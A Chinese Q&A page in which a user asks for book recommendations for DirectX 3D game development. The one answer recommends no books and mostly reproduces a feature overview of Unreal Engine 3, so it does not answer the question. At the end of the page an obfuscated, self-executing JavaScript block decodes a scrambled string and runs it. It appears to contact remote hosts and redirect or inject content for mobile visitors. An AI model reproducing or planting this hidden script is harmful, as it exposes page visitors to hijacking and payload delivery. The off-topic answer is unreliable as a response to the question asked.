我想学习用directx开发3D游戏,除了C++以外需要看什么书?中英文的均可 多推荐几本

推荐的越多 采纳的几率越大
2025-02-13 17:03:37
推荐回答(1个)
回答1:

做3D游戏用的编程语言是C++.

如果是要做出比较正规的3D游戏.还需要会应用很多软件
一款3D游戏需要这几个大致的步骤.
首先你需要有个企划案...就是大致什么样的游戏.内容等等
然后需要进行游戏的2D和3D美术 又需要会Maya.3DS-Max等美术软件做效果.
你还要需要懂游戏程式语言,C语言,JAVA等等......设置引擎.

"引擎"是程序员把游戏的渲染方式,模型数量骨骼绑定等等统一编程而做出来的一套程序,因为"引擎"本身就是相当与一套软件了 做游戏要设定面数,渲染量等等,一套引擎直接把规格设定好了

3D就是三维立体的意思,在现实生活中我们看见的东西都有长、宽、高,这三个量就叫做三维,如果能看到一个物体的长宽高,这个物体就是立体的。一般的画都是二维的,也就是说只有其中两个量,可能只有长与宽,可能只有长与高,也可能只有及宽与高。比如一些画中的人,我们能看见他的身高,身宽,但是看不到他的厚度,就是人的肚皮到背脊的距离,这样这个人就没有立体感了。现在许多的网络游戏都是2D的,没有很逼真的如身临其境的感觉,还有电影也是2D的。现在3D网络游戏兴起了,《魔兽世界》就是一个很好的3D游戏,3D电影也兴起了,给人身临其境的感觉。所以,无论是3D画,3D动漫,3D游戏,3D电影都比2D更胜一筹,但制作起来也比2D困难。

引擎3是一个面向下一代游戏机和DirectX 9个人电脑的完整的游戏开发平台,提供了游戏开发者需要的大量的核心技术、数据生成工具和基础支持。

虚幻引擎3的设计目的非常明确,每一个方面都具有比较高的易用性,尤其侧重于数据生成和程序编写的方面,这样的话,美工只需要程序员的很少量的协助,就能够尽可能多地开发游戏的数据资源,并且这个过程是在完全的可视化环境中完成的,实际操作非常便利;

与此同时,虚幻引擎3还能够为程序员提供一个具有先进功能的,并且具有可扩展性的应用程序框架(Framework),这个框架可以用于建立、测试和发布各种类型的游戏。

◎ 64位色高精度动态渲染管道。

Gamma校正和线性颜色空间渲染器提供了完美的颜色精度,同时支持了各种后期特效例如光晕,镜头光环和景深等效果。

在最新的一代显示芯片发布的过程中,我们注意到了一个非常明显的特点,就是新一代的显示芯片已经不再满足于传统的32位色深,转而需要更加高精度的颜色范围,这一点在NV40和R420身上都能非常明显的看出来。在NV40上,这种技术被称为HPDR技术,而在R420身上,这种技术也有所体现。

◎ 支持当前所有的基于像素的光照和渲染技术,包括使用法线贴图技术的参数化的Phong光照;虚拟位移贴图;光线衰减函数;采用预计算的阴影遮罩技术以及使用球形harmonic贴图的预计算的凹凸自阴影

◎ 高级的动态阴影。

虚幻引擎3提供对下列3种阴影技术的完全支持:

· 采用动态模板缓冲的阴影体积技术,能够完整支持动态光源,这样就能在场景中所有物体上精确地投射阴影。

· 能够让动态的角色在场景中投射出动态的、柔和的模糊阴影,这个过程是通过使用16X超级取样的阴影缓冲实现的

· 采用了拥有极高质量和极高性能的预先计算出的阴影遮罩,从而可以将静态光源的交互现象离线处理,同时保留了完整的动态高光和反射效果。

◎ 所有支持的阴影技术都是可视化的,并且可以按照美工的意愿自由混合。另外,同时可以与有颜色的衰减函数结合,从而实现具有合适阴影的平行光、聚光灯效果,以及投射光效果

角色能够在虚幻引擎3中使用阴影技术产生动态的软阴影

◎ 强大的材质系统,使得美工可以在实时图形化界面中建立任意复杂的实时Shader,而这个界面的友好度可与Maya的非实时Shader图形编辑界面媲美

◎ 材质框架是模块化的,所以程序员不仅可以加入新的Shader程序,还可以加入能够让美工随意与其他组件连接的Shader组件,从而可以实现Shader代码的动态合成。

◎ 完全支持室内和室外环境的无缝连接,在任何地方都支持的动态每象素光照和阴影。

◎ 美工可以通过一个可动态变形的基本高度图来建立地形,并使用多层混合材质,这其中包括位移贴图,法线贴图和任意复杂的材质,动态的基于LOD的细分,以及植被。

另外,地形系统还支持美工控制的自然效果,如平地上的植被,陡坡上的岩石和山顶上的雪

◎ 体积环境效果,包括高度雾和物理上精确的距离雾

◎ 刚体物理系统,支持游戏者和游戏中的物体,布娃娃角色动画以及复杂碰撞等物体交互方式。

布娃娃(Ragdoll)系统,是目前最为流行的一种非常高级的物理引擎,能够付给物体以一定的质量,形状等特性,从而获得非常逼真的力学动态效果。Half Life 2、Pain Killer等著名游戏均采用了这个物理引擎。

◎ 所有可渲染的材质都含有物理特性,例如摩擦系数等参数。

在虚幻引擎3提供的编辑工具UnrealEd中,能够对物体的属性进行实时修改

◎ 符合物理原理的声音效果

◎ 完全整合的基于物理原理的交通工具支持,包括游戏者控制,人工智能和网络

◎ UnrealEd内建的可视化物理建模工具,支持对于模型和骨骼动画网格的用于优化碰撞检测的图元的建立;约束编辑;在编辑器内可交互的物理模拟和调整

● 动画系统

◎ 骨骼动画系统;支持每顶点可达4骨骼同时影响的效果以及复杂的骨骼结构。

◎ 动画由一棵动画物体树驱动,包括:

· 混合控制器,进行对嵌套的动画物体之间的多路混合。

· 数据驱动的控制器,封装动作捕捉或手动制作的动画数据。

· 物理控制器,连接到刚体动态引擎,用来实现布娃娃系统的游戏者和NPC动画和对力的物理响应。

· 过程动画控制器,以C++或UnrealScript实现,为了实现一些如使一个NPC的头部和眼睛跟踪一个在关卡中行走的游戏者,或使一个角色根据健康情况和疲劳度作出不同动作等特性。

◎ 为3D Studio Max和Maya制作的导出工具,用于向引擎中导出赋予蒙皮权重的网格,骨骼和动画序列。

● 游戏框架以及人工智能

◎ 提供了一个支持普通游戏对象(如游戏者,NPC,物品,武器和触发器)的面向对象的游戏框架。

◎ 丰富的多级别AI系统,支持寻路、复杂关卡游历、单独决策和组队AI

· 对如触发器,门和升降机等普通游戏对象敏感的寻路框架,允许复杂的游历设定,使得NPC可以按下开关,打开门,并绕过障碍物。

· 游历框架带有短期战术战斗、掩护和撤退的路线网。

· 基于小队的AI框架,适合第一人称射击、第三人称射击和战术战斗游戏。

◎ AI路径在UnrealEd中可见并可由关卡编辑者编辑,允许自定义和提示

◎可见的AI脚本工具,使设计者可以创建复杂的交互性游戏设定,例如游戏者目标,通用的游戏事件触发器和交互式过场动画

◎ UnrealMatinee,一个基于时间线的可视化序列、动画和曲线路径工具。设计者可以使用此工具建立游戏中的过场动画,可以是交互的或非交互的,通过动画序列化、移动包括摄像机在内的对象,控制声音和视觉特效,并触发游戏和AI事件。

UnrealEd中的“Matinee”工具,能够编辑基于时间轴的事件序列

◎ 支持各种平台的输出格式,包含5.1环绕立体声和高品质杜比数码音效。

◎ 3维声源位置设置,多普勒效应。

多普勒效应:是指当发声物体在运动时,声音的音调会随着物体移动速度而改变其高低——声音频率的变化,这个原理也被运用在声卡3D发声原理之中。

◎ 在UnrealEd中的可视化音效工具可以为声音设计者提供对音效的全面的控制,声音强度,顺序,循环,过滤,调制,变调和随机化。声音参数被从代码中分离开,使设计者可以控制所有的与游戏、过场动画和动画序列相关的声音。

◎ 支持所有平台的主要声音格式,包括PCM,ADPCM,游戏机对应的声音压缩格式和Ogg Vorbis。

◎ 支持游戏机上的声音流。

◎ Internet和局域网游戏已经成为Epic的竞赛游戏如Unreal Tournament 2004的一大特征。虚幻引擎长时间以来一直提供灵活的高级网络架构,适合于各种类型的游戏。

◎ Internet和局域网游戏在PC和所有游戏机平台上都被完全支持

Unreal Tournament 2004的游戏中带的服务器浏览器

◎ 虚幻引擎的网络游戏部分编程是高层的和数据驱动的,允许由Unreal脚本代码指定在客户端和服务器之间联系的变量和函数,来保留一个同步的对游戏状态的近似。底层游戏网络传输是基于UDP的并能够将可靠和不可靠传输方式结合,来对游戏感进行优化,即使在低带宽和高延迟的环境下。

◎ 客户端-服务器模式下最多支持64个游戏者同时游戏。同时支持非服务器模式(点对点模式)下的16游戏者同时游戏。

◎ 支持不同平台间的网络互连(例如PC服务器和游戏机客户端;Windows, MacOS和Linux客户端共同进行游戏)。

◎ 所有游戏特性在网络游戏模式下都被支持,包括基于交通工具的多人游戏,带有NPC和机器人的组队竞技,单人模式下的协同游戏等等。支持自动下载,包括跨平台的一致的Unreal脚本代码。这项特性使得从用户自己创建的地图到奖励包,到完整的游戏mod都可以随意获得。

◎ 提供了一个"主服务器"组件来跟踪世界范围内的服务器,提供给游戏者过滤的服务器列表,等等。世界范围内的游戏统计跟踪系统

◎ 请注意我们不会提供一个适合大量玩家在线网络游戏的服务器或网络框架。尽管这项工作是一个需要多人多年工作的工程,仍然有很多小队已经使用Unreal引擎做了这件事(包括NCSoft的《天堂2》和EA的《创世纪X》),这表明了使用Unreal引擎作为MMORPG游戏客户端和工具的可能性。

● UnrealEd内容创建工具

◎ Uneral编辑器(UnrealEd)是一个纯粹的"所见即所得"的数据生成工具,用来填充3D Studio Max, Maya和可发行游戏之间的空隙。

◎ 对游戏对象如游戏者,NPC,物品,AI路点和光源的可视化放置与编辑-带有完全的实时预览,包括100%的动态阴影。包含一个数据驱动的编辑框架,允许关卡设计者容易地自定义任何游戏对象,以及允许程序员通过脚本向设计者能够使用新的可自定义的属性。

可视化的材质浏览器,并能提供搜索和管理的功能

◎ 美工可以通过实时地形编辑工具来提高地面,向地面绘制Alpha层来控制各层的混合并组装各层,碰撞检测数据和位移贴图

◎ 可视化材质编辑器。通过可视化的连接颜色、alpha和贴图坐标系统和程序员定义的材质组件,美工可以建立从简单的多层混合材质到极为复杂的材质,并且这些材质可以动态地与场景中的光源交互

◎ 一个强大的浏览框架,可以用来寻找、预览和组织各种类型的游戏资源

◎ 美工可以使用动画工具来引入模型、骨骼和动画,并将它们连接到游戏中的事件如声音和脚本事件。

可视化的材质编辑器让美工能够轻易的创建能够在Shader程序中应用的素材

◎ 在编辑器中的"Play Here"按钮使得在编辑器中只要点击一下鼠标即可进行游戏。这样,你可以在编辑器中一边测试游戏,一边进行编辑。

◎ 每份Unreal引擎授权都包含了重新组合分配UnrealEd的权利,使得游戏制作组可以将他们的数据创建工具与游戏一起发布给mod制作团体。Mod提供者已经成为当今很多卓越的PC游戏成功的一个重要因素,而且我们可以预见在将来,对基于PC的mod开发的支持也可能成为游戏机游戏的重要因素。

◎ 我们提供了3D Studio Max和Maya来将模型带到虚幻引擎中,带有网格拓扑信息,贴图坐标,平滑组,材质名称,骨骼结构和骨骼动画数据。

可视化的地形编辑器能够实时体现出地形的变化

◎ 所有您所希望从一个现代数据编辑工具中得到的东西:多层撤销/重复功能,托拽,拷贝粘贴,自定义快捷键和颜色配置,视图管理。

在虚幻引擎3中我们的大多数角色都是由两个网格模型建立的:一个具有几千多边形的实时网格,和一个数百万多边形的细节网格。我们提供了一个分布式计算的程序,对细节网格进行光线跟踪,并且从高多边形几何结构生成一张法线贴图,在游戏中赋予实时网格。结果是在游戏中的网格带有高多边形网格的所有光影细节信息,但是仍然可以十分容易的实时渲染。

使用法线贴图实现的超过1亿个三角形效果,实际上只有50万个三角形

虚幻引擎3包含了例程部分和100%的源代码,包括引擎本身、编辑器、Max/Maya导出插件和所有该公司内部开发的游戏的游戏代码。

◎ 可扩展的、面向对象的C++引擎,带有用于静态和动态加载代码和资源的软件架构,可移植性,易于调试。

虚幻引擎3提供的脚本编辑器

◎ Unreal脚本语言提供了对元数据的自动支持;支持十分灵活的文件格式向下兼容性;支持让关卡编辑者使用脚本属性;基于GUI的脚本调试器;对多种重要游戏编程概念的本地语言支持,例如动态有限状态机和基于时间的代码执行。

◎ 模块化材质组件接口来扩展可视化工具,并且在可视化Shader GUI中加入新的美工可用的Shader组件。

◎ 源代码控制友好的软件架构,对大型工作组和多平台工程的可扩展性。

◎ Unreal引擎3被作为一个可以在PC和任何下一代家用游戏主机上编译的统一的代码基础。所有游戏组件和数据文件都可以在各种平台上兼容,为了PC上代码和资源的快速周转,和家用机和PC上的游戏测试。

◎ 针对家用游戏机的可自由寻址的DVD读取优化过程,能够用大于80%的DVD物理传输率上读取关卡。

虚幻引擎3还可以方便的支持多种语言

◎ 虚幻引擎3数据资源和代码是可地方化的,能够通过一个简单的框架来扩展游戏中全部的文字、声音、图像和视频。虚幻引擎3是基于Unicode字符级的,并且完全支持16位Unicode字体和文字输入,包括引入TrueType字体到可渲染的位图字体。我们的游戏已经使用9种语言发布,包括中文、日文和韩文。

注重细节,其他特殊规格一览

这里是一些我们在建立下一个基于虚幻引擎3游戏的指导方针。不同类型的游戏将会有十分不同的游戏者数目,场景大小和表现。所以这些规范只能作为对一个项目而不是对所有项目的指导。

● 角色

对于每个主要角色和静态网格资源,我们建立两个版本的网格模型:一个可选然的带有唯一UV坐标的网格模型,和一个只带有几何信息的细节网格模型我们通过虚幻引擎3来处理这两个模型,基于细节模型的所有几何信息来为可渲染模型生成一个高分辨率的法线贴图。

可渲染模型:我们在建立可渲染模型时使用3000到12000个三角形,在场景中同时可见的角色有5到20个左右。

◎ 细节网格:我们使用一百万到八百万三角形来为标准的角色建立细节网格模型。这对于为每个角色建立一到两个2048乘2048大小的法线贴图已经足够了。

◎ 骨骼:我们的每个标准角色都有100到200块骨头,包括了有关节的脸部、手部和手指。

● 法线贴图和材质贴图

我们在建立大部分角色和场景的普通贴图和法线贴图时都使用2048乘2048分辨率的贴图。我们感觉这是一个对于2006年左右的运行于中档PC上的游戏来说的一个十分合理的目标。下一代的游戏主机可能需要将贴图大小减少2倍,而低端PC则需要减少4倍,取决于贴图数量和场景复杂度。

● 环境

典型的场景环境包括1000到5000可渲染的对象,包括静态网格和具有骨骼的网格。对于当前3D加速卡的合理性能,我们打算将在任何场景中出现的可视物体数量保持在300到1000左右。我们的典型的更大的场景中最多有20万到120万的可见三角形。

● 光照

没有对光源数量的硬编码限制,但是为了性能考虑,我们试图将大范围的光源数量限制到2到5个,因为每个光源/物体的交互都是基于引擎中比较耗时的高精度每象素光照和阴影渲染管道。用于高光和细节光照的小范围的光源明显的要比影响整个场景的大范围光省时。

游戏这类非常特殊的软件在人们的实际工作中并不能够创造任何实际的价值,但是却能够让人们在使用电脑的过程中得到放松。一个游戏能否给消费者带来尽可能完美的感官上的享受就成为了一个游戏能否获得成功的最基本的因素。

而对于游戏中最为流行的3D游戏来讲,开发的难度随着游戏容量不断攀升,如何能够迅速的开发出一个个高质量的游戏就成了关键,采用游戏引擎和游戏内容分离的方式自然是目前最好的一种解决方案。

于是作为游戏中的灵魂,游戏引擎的成功与否将决定一系列游戏的最终效果。今天我们介绍了目前最为先进的游戏引擎之一虚幻引擎的最新版本,让大家对游戏引擎有了一定的概念上的理解,也知道了在一个游戏幕后的一些事情。

总的来说,虚幻引擎3的确是一个非常先进的引擎,它提供的功能非常先进,几乎融合了目前顶级显卡中提供的所有功能,在这样的技术背景下,这款引擎带来了非常绚丽的效果,其演示的画面已经足以震憾每一位观众了。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();